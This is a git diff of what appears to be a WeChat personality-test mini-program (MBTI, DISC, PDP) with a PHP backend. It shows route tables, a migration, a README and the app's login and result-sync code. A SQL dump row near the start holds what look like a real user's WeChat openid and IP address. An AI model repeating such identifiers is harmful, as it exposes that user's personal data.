1773287165, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (41, 'oucCB167FI5QToi3SGSwil9BcCtM', NULL, 'H3V1Dh4xUYuSY64D4hULuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773290278, '119.84.150.103', NULL, 1773290278, 1773290278, 0, 0, 0); + +-- ---------------------------- +-- Table structure for mbti_enterprise_resume_uploads +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprise_resume_uploads`; +CREATE TABLE `mbti_enterprise_resume_uploads` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `userId` int(11) NOT NULL COMMENT '用户ID(wechat_users.id)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,可选', + `fileUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件访问URL', + `fileName` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '原始文件名', + `is_default` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否,同用户同企业仅一条为1', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业版简历上传记录表' ROW_FORMAT = Dynamic; + +-- 若表已存在且无 is_default 列,请执行: +-- ALTER TABLE mbti_enterprise_resume_uploads ADD COLUMN is_default tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否' AFTER fileName; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/migrations/add_feeFen_to_distribution_withdrawals.sql b/api/migrations/add_feeFen_to_distribution_withdrawals.sql new file mode 100644 index 0000000..da3fe46 --- /dev/null +++ b/api/migrations/add_feeFen_to_distribution_withdrawals.sql @@ -0,0 +1,4 @@ +-- 为提现记录表增加手续费字段(已有库执行) +-- 表名以实际前缀为准,若为 mbti_ 则表名为 mbti_distribution_withdrawals +ALTER TABLE `mbti_distribution_withdrawals` + ADD COLUMN `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)' AFTER `amountFen`; diff --git a/api/public/fonts/AlimamaFangYuanTiVF.ttf b/api/public/fonts/AlimamaFangYuanTiVF.ttf new file mode 100644 index 0000000..8bdb330 Binary files /dev/null and b/api/public/fonts/AlimamaFangYuanTiVF.ttf differ diff --git a/api/public/fonts/NotoSansCJKsc-Regular.otf b/api/public/fonts/NotoSansCJKsc-Regular.otf new file mode 100644 index 0000000..dc15562 Binary files /dev/null and b/api/public/fonts/NotoSansCJKsc-Regular.otf differ diff --git a/api/public/fonts/NotoSerifCJKsc-Regular.otf b/api/public/fonts/NotoSerifCJKsc-Regular.otf new file mode 100644 index 0000000..cba8a47 Binary files /dev/null and b/api/public/fonts/NotoSerifCJKsc-Regular.otf differ diff --git a/api/public/fonts/wqy-microhei.ttc b/api/public/fonts/wqy-microhei.ttc new file mode 100644 index 0000000..2c9bc2d Binary files /dev/null and b/api/public/fonts/wqy-microhei.ttc differ diff --git a/api/public/index.php b/api/public/index.php new file mode 100644 index 0000000..bd4782e --- /dev/null +++ b/api/public/index.php @@ -0,0 +1,25 @@ +http; + +$response = $http->run(); + +$response->send(); + +$http->end($response); + + diff --git a/api/route/api.php b/api/route/api.php new file mode 100644 index 0000000..f79bb76 --- /dev/null +++ b/api/route/api.php @@ -0,0 +1,382 @@ +middleware(['cors', 'auth']); + +// 前端公开API路由(不需要认证) +Route::group('api', function () { + // 用户认证相关 + Route::post('auth/login', 'api.Auth/login'); + Route::post('auth/register', 'api.Auth/register'); + Route::post('auth/refresh', 'api.Auth/refresh'); + // 微信小程序登录 + Route::post('auth/wechat', 'api.Auth/wechatLogin'); +})->middleware('cors'); + +// 小程序/前端运行配置与面相分析(可选 token) +Route::group('api', function () { + Route::get('config/runtime', 'api.AppConfig/runtime'); + Route::get('config/deep-pricing', 'api.AppConfig/deepPricing'); + Route::post('analyze', 'api.Analyze/index'); +})->middleware('cors'); + +// 前端需要认证的API路由 +Route::group('api', function () { + // 用户信息 + Route::get('auth/me', 'api.Auth/me'); + Route::post('auth/logout', 'api.Auth/logout'); + // 小程序扫码企业邀请后绑定企业 + Route::post('enterprise/bind', 'api.Auth/wechatBindEnterprise'); + // 企业版简历上传记录(具体路径放前面,避免被 POST resume-uploads 吞掉) + Route::get('enterprise/resume-uploads', 'api.EnterpriseResume/list'); + Route::post('enterprise/resume-uploads/set-default', 'api.EnterpriseResume/setDefault'); + Route::post('enterprise/resume-uploads/delete', 'api.EnterpriseResume/delete'); + Route::post('enterprise/resume-uploads', 'api.EnterpriseResume/add'); + // 小程序用户更新资料 + Route::put('auth/wechat/profile', 'api.Auth/updateWechatProfile'); + // 小程序用户上传图片(头像等) + Route::post('upload/image', 'api.Upload/image'); + // 小程序用户上传文件(候选人简历等) + Route::post('upload/file', 'api.Upload/file'); + // 当前用户测试历史记录(小程序「测试历史」页) + Route::get('test/history', 'api.Test/history'); + // 当前用户各类型最新一条记录(小程序「我的」页) + Route::get('test/recent', 'api.Test/recent'); + // 单条测试详情 + Route::get('test/detail', 'api.Test/detail'); + // 提交测试结果(MBTI/DISC/PDP 等) + Route::post('test/submit', 'api.Test/submit'); + // 简历综合分析(基于人脸/MBTI/PDP/DISC 最近一次结果) + Route::post('resume/analyze', 'api.Analyze/resumeAnalysis'); + // 支付与订单 + Route::post('payment/create', 'api.Payment/create'); + Route::post('payment/notify', 'api.Payment/notify'); + Route::get('payment/query', 'api.Payment/query'); + // 分销 + Route::post('distribution/bind', 'api.Distribution/bind'); + Route::get('distribution/stats', 'api.Distribution/stats'); + Route::get('distribution/bindings', 'api.Distribution/bindings'); + Route::get('distribution/commissions', 'api.Distribution/commissions'); + Route::post('distribution/withdraw', 'api.Distribution/withdraw'); + Route::get('distribution/withdrawals', 'api.Distribution/withdrawals'); + Route::post('distribution/withdrawals/query-transfer', 'api.Distribution/queryTransfer'); + Route::get('distribution/qrcode', 'api.Distribution/qrcode'); + Route::get('distribution/poster', 'api.Distribution/poster'); + // 微信商家转账结果回调(无需登录,但需配置到微信商户平台) + Route::post('wechat/transfer/notify', 'api.WechatTransferNotify/notify')->middleware('cors'); + // 存客宝获客线索上报 + Route::post('crm/report', 'api.CrmReport/report'); +})->middleware(['cors', 'auth']); + +// ==================== 小程序API路由(匹配前端 /api 路径)==================== +// 小程序公开API路由(不需要认证)- 与前端共用上面 api 组,此处可不再重复 +// 小程序需要认证的API路由 - 与前端共用上面 api 组 + +// ==================== 普通管理员API路由(匹配前端 /api/v1/admin 路径)==================== +// 普通管理员认证路由(不需要认证) +Route::group('api/v1/admin', function () { + // 普通管理员登录 + Route::post('auth/login', 'admin.Auth/adminLogin'); + // 刷新Token + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 普通管理员路由(需要认证) +Route::group('api/v1/admin', function () { + // 管理员认证 + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计 + Route::get('dashboard', 'admin.Dashboard/index'); + + // 邀请二维码 + Route::get('invite/qrcode', 'admin.Invite/qrcode'); + + // 通用上传 + Route::post('upload/image', 'admin.Upload/image'); + + // 测试用户(小程序用户,只读列表与详情) + Route::get('app-users/:id', 'admin.AppUser/detail'); + Route::get('app-users', 'admin.AppUser/index'); + // 订单列表(含用户与关联测试数据) + Route::get('orders', 'admin.Order/index'); + // 用户管理(普通管理员和企业管理员,后台账号) + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 题库管理(企业管理员和普通管理员) + Route::get('questions/:id', 'admin.Question/detail'); + Route::get('questions', 'admin.Question/index'); + Route::post('questions', 'admin.Question/create'); + Route::put('questions/:id', 'admin.Question/update'); + Route::delete('questions/:id', 'admin.Question/delete'); + Route::put('questions/:id/status', 'admin.Question/toggleStatus'); + Route::post('questions/batch-import', 'admin.Question/batchImport'); + + // 定价管理(普通管理员) + Route::get('pricing', 'admin.Pricing/index'); + Route::put('pricing', 'admin.Pricing/update'); + + // 系统设置(普通管理员,子路径放前面避免被 settings 吞掉) + Route::get('settings/miniprogram', 'admin.Settings/getMiniprogramConfig'); + Route::put('settings/miniprogram', 'admin.Settings/updateMiniprogramConfig'); + Route::get('settings/poster', 'admin.Settings/getPosterConfig'); + Route::put('settings/poster', 'admin.Settings/updatePosterConfig'); + Route::get('settings/fonts', 'admin.Settings/getFonts'); + Route::put('settings/credentials', 'admin.Settings/updateCredentials'); + Route::get('settings', 'admin.Settings/index'); + + // 分销管理(企业管理员) + Route::get('distribution/overview', 'admin.Distribution/overview'); + Route::get('distribution/distributors', 'admin.Distribution/distributors'); + Route::get('distribution/bindings', 'admin.Distribution/bindings'); + Route::get('distribution/commissions', 'admin.Distribution/commissions'); + Route::get('distribution/withdrawals', 'admin.Distribution/withdrawals'); + Route::post('distribution/withdrawals/:id/approve', 'admin.Distribution/approveWithdrawal'); + Route::post('distribution/withdrawals/:id/reject', 'admin.Distribution/rejectWithdrawal'); + Route::get('distribution/settings', 'admin.Distribution/settings'); + Route::put('distribution/settings', 'admin.Distribution/updateSettings'); + + // 企业财务(企业管理员) + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); + +// ==================== 超级管理员API路由(匹配前端 /api/v1/superadmin 路径)==================== +// 超级管理员认证路由(不需要认证) +Route::group('api/v1/superadmin', function () { + // 超级管理员登录 + Route::post('auth/login', 'superadmin.Auth/login'); + // 刷新Token + Route::post('auth/refresh', 'superadmin.Auth/refresh'); +})->middleware('cors'); + +// 超级管理员路由(需要认证) +Route::group('api/v1/superadmin', function () { + // 超级管理员认证 + Route::get('auth/me', 'superadmin.Auth/me'); + Route::post('auth/logout', 'superadmin.Auth/logout'); + + // 企业管理(超管专用) + // 注意:带参数的路由要放在不带参数的路由之前,避免路由匹配冲突 + Route::get('enterprises/:id/detail', 'superadmin.Enterprise/detail'); // 详细详情接口 + Route::get('enterprises/:id', 'superadmin.Enterprise/detail'); + Route::get('enterprises', 'superadmin.Enterprise/index'); + Route::post('enterprises', 'superadmin.Enterprise/create'); + Route::put('enterprises/:id', 'superadmin.Enterprise/update'); + Route::delete('enterprises/:id', 'superadmin.Enterprise/delete'); + Route::put('enterprises/:id/status', 'superadmin.Enterprise/toggleStatus'); + + // 题库管理(超管专用,管理超管题库) + Route::get('questions/:id', 'superadmin.Question/detail'); + Route::get('questions', 'superadmin.Question/index'); + Route::post('questions', 'superadmin.Question/create'); + Route::put('questions/:id', 'superadmin.Question/update'); + Route::delete('questions/:id', 'superadmin.Question/delete'); + Route::put('questions/:id/status', 'superadmin.Question/toggleStatus'); + Route::post('questions/batch-import', 'superadmin.Question/batchImport'); + + // 全局定价管理(超管专用) + Route::get('pricing', 'superadmin.Pricing/index'); + Route::put('pricing', 'superadmin.Pricing/update'); + Route::post('pricing/batch-update', 'superadmin.Pricing/batchUpdate'); + + // AI服务商配置管理(超管专用) + Route::get('ai-config', 'superadmin.AiConfig/index'); + Route::put('ai-config', 'superadmin.AiConfig/update'); + Route::post('ai-config/batch-update', 'superadmin.AiConfig/batchUpdate'); + Route::post('ai-config/query-balance', 'superadmin.AiConfig/queryBalance'); + Route::post('ai-config/query-all-balances', 'superadmin.AiConfig/queryAllBalances'); + + // 数据库管理(超管专用) + Route::get('database/info', 'superadmin.Database/info'); + Route::get('database/tables', 'superadmin.Database/tables'); + Route::get('database/view-table', 'superadmin.Database/viewTable'); + Route::post('database/export-table', 'superadmin.Database/exportTable'); + Route::post('database/clear-table', 'superadmin.Database/clearTable'); + Route::post('database/backup', 'superadmin.Database/backup'); + Route::get('database/backups', 'superadmin.Database/backups'); + Route::delete('database/backups/:id', 'superadmin.Database/delete'); + Route::post('database/backups/delete', 'superadmin.Database/delete'); + Route::get('database/download', 'superadmin.Database/download'); + Route::post('database/restore', 'superadmin.Database/restore'); + + // 通用上传(超管) + Route::post('upload/image', 'admin.Upload/image'); + + // 系统设置(超管专用,子路径放前面避免被 settings 吞掉) + Route::get('settings/fonts', 'superadmin.Settings/getFonts'); + Route::get('settings/poster', 'superadmin.Settings/getPosterConfig'); + Route::put('settings/poster', 'superadmin.Settings/updatePosterConfig'); + Route::get('settings', 'superadmin.Settings/index'); + Route::put('settings/system', 'superadmin.Settings/updateSystem'); + Route::put('settings/report-requires-payment', 'superadmin.Settings/updateReportRequiresPayment'); + Route::put('settings/notification', 'superadmin.Settings/updateNotification'); + Route::put('settings/prompts', 'superadmin.Settings/updatePrompts'); + Route::put('settings/credentials', 'superadmin.Settings/updateCredentials'); + + // 测试用户(超管专用) + Route::get('app-users/overview', 'superadmin.AppUser/overview'); + Route::get('app-users/:id', 'superadmin.AppUser/detail'); + Route::get('app-users', 'superadmin.AppUser/index'); + + // 数据概览(超管专用,子路径放前面避免被 overview 吞掉) + Route::get('overview/recent-dynamics', 'superadmin.Overview/recentDynamics'); + Route::get('overview/enterprise-ranking', 'superadmin.Overview/enterpriseRanking'); + Route::get('overview/test-trends', 'superadmin.Overview/testTrends'); + Route::get('overview', 'superadmin.Overview/index'); + + // 财务管理(超管专用) + Route::get('finance/overview', 'superadmin.Finance/overview'); + Route::get('finance/revenue-details', 'superadmin.Finance/revenueDetails'); + Route::get('finance/cost-details', 'superadmin.Finance/costDetails'); + Route::get('finance/recharge-records', 'superadmin.Finance/rechargeRecords'); + Route::get('finance/payment-records', 'superadmin.Finance/paymentRecords'); + Route::post('finance/export', 'superadmin.Finance/export'); + // 分销管理(超管专用 - 个人版全平台视图) + Route::get('distribution/overview', 'superadmin.Distribution/overview'); + Route::get('distribution/bindings', 'superadmin.Distribution/bindings'); + Route::get('distribution/commissions', 'superadmin.Distribution/commissions'); + Route::get('distribution/withdrawals', 'superadmin.Distribution/withdrawals'); + Route::post('distribution/withdrawals/:id/approve', 'superadmin.Distribution/approveWithdrawal'); + Route::post('distribution/withdrawals/:id/reject', 'superadmin.Distribution/rejectWithdrawal'); + Route::get('distribution/settings', 'superadmin.Distribution/settings'); + Route::put('distribution/settings', 'superadmin.Distribution/updateSettings'); +})->middleware(['cors', 'auth', 'superadmin']); + +// ==================== 兼容旧版路由(保留,逐步废弃)==================== +// 管理后台认证路由(不需要认证)- 兼容旧版 +Route::group('api/v1', function () { + // 管理员登录(兼容旧版) + Route::post('auth/admin/login', 'admin.Auth/adminLogin'); + // 超级管理员登录(兼容旧版) + Route::post('auth/superadmin/login', 'superadmin.Auth/login'); + // 刷新Token(兼容旧版) + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 管理后台路由(需要认证)- 兼容旧版 +Route::group('api/v1', function () { + // 管理员认证(兼容旧版) + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计(兼容旧版) + Route::get('dashboard', 'admin.Dashboard/index'); + + // 通用上传(兼容旧版) + Route::post('upload/image', 'admin.Upload/image'); + + // 用户管理(兼容旧版) + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 企业管理(超管,兼容旧版) + // 注意:带参数的路由要放在不带参数的路由之前,避免路由匹配冲突 + Route::get('enterprises/:id/detail', 'superadmin.Enterprise/detail'); // 详细详情接口 + Route::get('enterprises/:id', 'superadmin.Enterprise/detail'); + Route::get('enterprises', 'superadmin.Enterprise/index'); + Route::post('enterprises', 'superadmin.Enterprise/create'); + Route::put('enterprises/:id', 'superadmin.Enterprise/update'); + Route::delete('enterprises/:id', 'superadmin.Enterprise/delete'); + Route::put('enterprises/:id/status', 'superadmin.Enterprise/toggleStatus'); + + // 题库管理(兼容旧版) + Route::get('questions/:id', 'admin.Question/detail'); + Route::get('questions', 'admin.Question/index'); + Route::post('questions', 'admin.Question/create'); + Route::put('questions/:id', 'admin.Question/update'); + Route::delete('questions/:id', 'admin.Question/delete'); + Route::put('questions/:id/status', 'admin.Question/toggleStatus'); + Route::post('questions/batch-import', 'admin.Question/batchImport'); + + // 企业财务(兼容旧版) + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); + +// ==================== 兼容旧版路由(保留)==================== +// 后台管理认证路由(不需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员登录 + Route::post('auth/login', 'admin.Auth/login'); + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 后台管理路由(需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员认证 + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计 + Route::get('dashboard', 'admin.Dashboard/index'); + + // 通用上传 + Route::post('upload/image', 'admin.Upload/image'); + + // 用户管理 + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 企业财务 + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); + +// ==================== 兼容旧版路由(保留)==================== +// 后台管理认证路由(不需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员登录 + Route::post('auth/login', 'admin.Auth/login'); + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 后台管理路由(需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员认证 + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计 + Route::get('dashboard', 'admin.Dashboard/index'); + + // 通用上传 + Route::post('upload/image', 'admin.Upload/image'); + + // 用户管理 + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 企业财务 + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); diff --git a/mbti.code-workspace b/mbti.code-workspace new file mode 100644 index 0000000..876a149 --- /dev/null +++ b/mbti.code-workspace @@ -0,0 +1,8 @@ +{ + "folders": [ + { + "path": "." + } + ], + "settings": {} +} \ No newline at end of file diff --git a/miniprogram/README.md b/miniprogram/README.md new file mode 100644 index 0000000..0cf54ee --- /dev/null +++ b/miniprogram/README.md @@ -0,0 +1,82 @@ +# MBTI性格测试小程序 + +## 小程序信息 +- **AppID**: wx3d15ed02e98b04e3 +- **名称**: MBTI性格测试 +- **版本**: 1.0.0 + +## 功能模块 + +### 1. MBTI测试 +- 30道精简题目 +- 4个维度分析(E/I、S/N、T/F、J/P) +- 16种人格类型描述 +- 置信度计算 + +### 2. DISC测试 +- 20道题目 +- 4种行为风格(D/I/S/C) +- 职业建议和沟通技巧 + +### 3. PDP测试 +- 20道题目 +- 5种动物性格(老虎/孔雀/考拉/猫头鹰/变色龙) +- 团队角色分析 + +## 目录结构 + +``` +miniprogram/ +├── app.js # 小程序入口 +├── app.json # 全局配置 +├── app.wxss # 全局样式 +├── project.config.json # 项目配置 +├── sitemap.json # 站点地图 +├── pages/ +│ ├── index/ # 首页 +│ ├── test/ # 测试页面 +│ │ ├── mbti.* # MBTI测试 +│ │ ├── disc.* # DISC测试 +│ │ └── pdp.* # PDP测试 +│ ├── result/ # 结果页面 +│ │ ├── mbti.* +│ │ ├── disc.* +│ │ └── pdp.* +│ └── profile/ # 个人中心 +├── utils/ +│ ├── questions.js # 题库 +│ └── descriptions.js # 类型描述 +└── images/ # 图片资源 +``` + +## 使用方法 + +1. 下载并安装 [微信开发者工具](https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html) + +2. 打开微信开发者工具,选择"导入项目" + +3. 选择 `miniprogram` 目录作为项目目录 + +4. 填入AppID: `wx3d15ed02e98b04e3` + +5. 点击"编译"即可预览 + +## 上传发布 + +1. 在微信开发者工具中点击"上传" + +2. 填写版本号和项目备注 + +3. 登录 [微信公众平台](https://mp.weixin.qq.com) 提交审核 + +## 注意事项 + +- tabBar图标需要替换为实际的PNG图片(81x81像素) +- 分享图片需要放置到 images/share.png +- 后端API地址需要在 app.js 中配置 + +## 技术栈 + +- 微信小程序原生开发 +- CSS3动画和过渡效果 +- 本地存储(wx.setStorageSync) diff --git a/miniprogram/app.js b/miniprogram/app.js new file mode 100644 index 0000000..dd2a118 --- /dev/null +++ b/miniprogram/app.js @@ -0,0 +1,344 @@ +// app.js - MBTI小程序主入口 +const { request } = require('./utils/request.js') + +App({ + globalData: { + userInfo: null, + openId: null, + token: null, + siteTitle: '神仙团队AI性格测试', + textConfig: null, // 从 /api/config/runtime 动态加载:analyzingTitle, startButtonText, reportTitle, aiAnalysisText 等 + // 当前使用范围:personal 个人版 / enterprise 企业版(影响定价与 enterpriseId 写入) + appScope: 'personal', + // 扫码进入企业页时 scene 解析出的企业ID(e_123),提交测试/分析时优先使用 + enterpriseIdFromScene: null, + // API基础地址(开发时用本地,生产环境替换为实际域名) + apiBase: 'https://mbtiapi.quwanzhi.com', + //apiBase: 'http://mbti.com', + // VIP信息 + vipInfo: null, + // 测试次数 + testCount: 0, + // 已解锁的测试 + unlockedTests: [], + // 测试结果缓存 + mbtiResult: null, + discResult: null, + pdpResult: null, + aiResult: null + }, + + onLaunch() { + // 加载本地存储的数据 + this.loadStoredData() + + // 静默登录获取openId + this.silentLogin() + + // 预加载站点/小程序名称(供导航栏展示) + this.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.siteTitle) { + this.globalData.siteTitle = cfg.siteTitle + } + }).catch(() => {}) + }, + + // 加载本地存储数据 + loadStoredData() { + const token = wx.getStorageSync('token') + if (token) { + this.globalData.token = token + } + const userInfo = wx.getStorageSync('userInfo') + if (userInfo) { + this.globalData.userInfo = userInfo + // 优先使用后端返回的 openid 字段,而不是内部自增 id + this.globalData.openId = userInfo.openid || userInfo.openId || null + } + + // VIP信息 + const vipInfo = wx.getStorageSync('vipInfo') + if (vipInfo) { + this.globalData.vipInfo = vipInfo + } + + // 测试次数 + const testCount = wx.getStorageSync('testCount') + if (testCount) { + this.globalData.testCount = testCount + } + + // 已解锁测试 + const unlockedTests = wx.getStorageSync('unlockedTests') + if (unlockedTests) { + this.globalData.unlockedTests = unlockedTests + } + + // 测试结果 + this.globalData.mbtiResult = wx.getStorageSync('mbtiResult') || null + this.globalData.discResult = wx.getStorageSync('discResult') || null + this.globalData.pdpResult = wx.getStorageSync('pdpResult') || null + this.globalData.aiResult = wx.getStorageSync('aiResult') || null + }, + + /** + * 静默登录:wx.login 取 code,请求后端换 token 与用户信息 + * @returns {Promise} 是否登录成功(拿到 token) + */ + silentLogin() { + return new Promise((resolve) => { + wx.login({ + success: (res) => { + if (!res.code) { + resolve(false) + return + } + const url = `${this.globalData.apiBase}/api/auth/wechat` + wx.request({ + url, + method: 'POST', + header: { 'Content-Type': 'application/json' }, + data: { code: res.code }, + success: (response) => { + if (response.statusCode === 200 && response.data && response.data.code === 200) { + const data = response.data.data || {} + const { token, user } = data + if (token) { + this.globalData.token = token + wx.setStorageSync('token', token) + } + if (user) { + this.globalData.userInfo = user + // 使用微信真实 openid,而不是 wechat_users 表的 id + this.globalData.openId = user.openid || user.openId || null + wx.setStorageSync('userInfo', user) + } + // 登录成功后处理分销绑定(若进入时携带了推荐人参数) + if (token) { + this._tryDistributionBind() + } + resolve(!!token) + return + } + resolve(false) + }, + fail: (err) => { + console.error('登录请求失败:', err) + const storedToken = wx.getStorageSync('token') + const storedUser = wx.getStorageSync('userInfo') + if (storedToken) { + this.globalData.token = storedToken + this.globalData.userInfo = storedUser || null + this.globalData.openId = storedUser ? storedUser.id : null + resolve(true) + } else { + resolve(false) + } + } + }) + }, + fail: () => resolve(false) + }) + }) + }, + + /** + * 确保已登录:有 token 直接 resolve,否则先执行静默登录 + * @returns {Promise} 当前是否有有效登录态 + */ + ensureLogin() { + if (this.globalData.token) return Promise.resolve(true) + return this.silentLogin() + }, + + /** + * 登录成功后尝试分销绑定(处理进入时携带的 uid 参数) + */ + _tryDistributionBind() { + const inviterId = this.globalData._pendingInviterId + const scope = this.globalData._pendingInviterScope || 'personal' + const eid = this.globalData._pendingInviterEid || null + + if (!inviterId || inviterId <= 0) return + + // 清除 pending 状态,避免重复绑定 + this.globalData._pendingInviterId = null + this.globalData._pendingInviterScope = null + this.globalData._pendingInviterEid = null + + const token = this.globalData.token + if (!token) return + + const data = { inviterId, scope } + if (eid) data.eid = eid + + request({ + url: '/api/distribution/bind', + method: 'POST', + data, + success: () => {}, + fail: () => {} + }) + }, + + /** 清除登录态(退出登录时调用) */ + logout() { + this.globalData.token = null + this.globalData.userInfo = null + this.globalData.openId = null + wx.removeStorageSync('token') + wx.removeStorageSync('userInfo') + }, + + // 获取用户信息(弹窗授权),并同步昵称/头像到后端 + getUserInfo(callback) { + wx.getUserProfile({ + desc: '用于展示用户头像和昵称', + success: (res) => { + const u = res.userInfo + this.globalData.userInfo = { ...this.globalData.userInfo, ...u, avatarUrl: u.avatarUrl || u.avatar } + wx.setStorageSync('userInfo', this.globalData.userInfo) + callback && callback(this.globalData.userInfo) + this.syncProfileToServer({ nickname: u.nickName, avatar: u.avatarUrl || u.avatar }) + }, + fail: () => { + callback && callback(this.globalData.userInfo || null) + } + }) + }, + + // 同步昵称、头像到后端(需已登录) + syncProfileToServer(profile, callback) { + if (!this.globalData.token || !profile) { + callback && callback(false) + return + } + + // 记录同步请求(调试用) + console.log('同步用户资料到服务器:', profile) + + request({ + url: '/api/auth/wechat/profile', + method: 'PUT', + data: profile, + success: (res) => { + console.log('同步用户资料响应:', res) + if (res.statusCode === 200 && res.data && res.data.code === 200) { + // 如果服务器返回了更新后的数据,使用服务器数据 + if (res.data.data) { + const updatedUserInfo = { ...this.globalData.userInfo, ...res.data.data } + // 确保 nickname 和 nickName 字段都更新 + if (profile.nickname) { + updatedUserInfo.nickname = profile.nickname + updatedUserInfo.nickName = profile.nickname + } + if (profile.avatar) { + updatedUserInfo.avatar = profile.avatar + updatedUserInfo.avatarUrl = profile.avatar + } + if (profile.birthday !== undefined) { + updatedUserInfo.birthday = profile.birthday + } + this.globalData.userInfo = updatedUserInfo + wx.setStorageSync('userInfo', updatedUserInfo) + console.log('用户资料已同步:', updatedUserInfo) + } else { + // 服务器没有返回数据,使用本地更新的数据 + const updatedUserInfo = { ...this.globalData.userInfo, ...profile } + if (profile.nickname) { + updatedUserInfo.nickname = profile.nickname + updatedUserInfo.nickName = profile.nickname + } + if (profile.avatar) { + updatedUserInfo.avatar = profile.avatar + updatedUserInfo.avatarUrl = profile.avatar + } + if (profile.birthday !== undefined) { + updatedUserInfo.birthday = profile.birthday + } + this.globalData.userInfo = updatedUserInfo + wx.setStorageSync('userInfo', updatedUserInfo) + console.log('用户资料已更新(本地):', updatedUserInfo) + } + callback && callback(true) + } else { + console.error('更新用户资料失败:', res.data) + callback && callback(false) + } + }, + fail: (err) => { + console.error('请求失败:', err) + callback && callback(false) + } + }) + }, + + // 保存测试结果 + saveTestResult(type, result) { + const key = `${type}Result` + wx.setStorageSync(key, result) + this.globalData[key] = result + + // 同步到服务器(需携带 token,后端从 JWT 解析 userId) + if (this.globalData.token) { + const scope = this.globalData.appScope || 'personal' + const storedUser = wx.getStorageSync('userInfo') || null + const enterpriseId = + scope === 'enterprise' + ? (this.globalData.enterpriseIdFromScene || (this.globalData.userInfo && this.globalData.userInfo.enterpriseId) || (storedUser && storedUser.enterpriseId) || null) + : null + wx.request({ + url: `${this.globalData.apiBase}/api/test/submit`, + method: 'POST', + header: { + 'Authorization': `Bearer ${this.globalData.token}`, + 'Content-Type': 'application/json' + }, + data: { + testType: type, + answers: result.answers || [], + result: result, + userId: this.globalData.userInfo?.id ?? this.globalData.openId, + enterpriseId: enterpriseId || undefined, + testDuration: result.testDuration || 0, + timestamp: new Date().toISOString() + } + }) + } + }, + + // 获取测试结果 + getTestResult(type) { + return this.globalData[`${type}Result`] || wx.getStorageSync(`${type}Result`) || null + }, + + /** + * 获取运行配置:个人/企业定价 + 当前 AI 服务商(超管配置,默认第一个启用的) + * 有 token 且用户属于企业则返回企业定价,否则个人定价 + * @returns {Promise<{pricingType, pricing, aiProviderId, aiProviderName}>} + */ 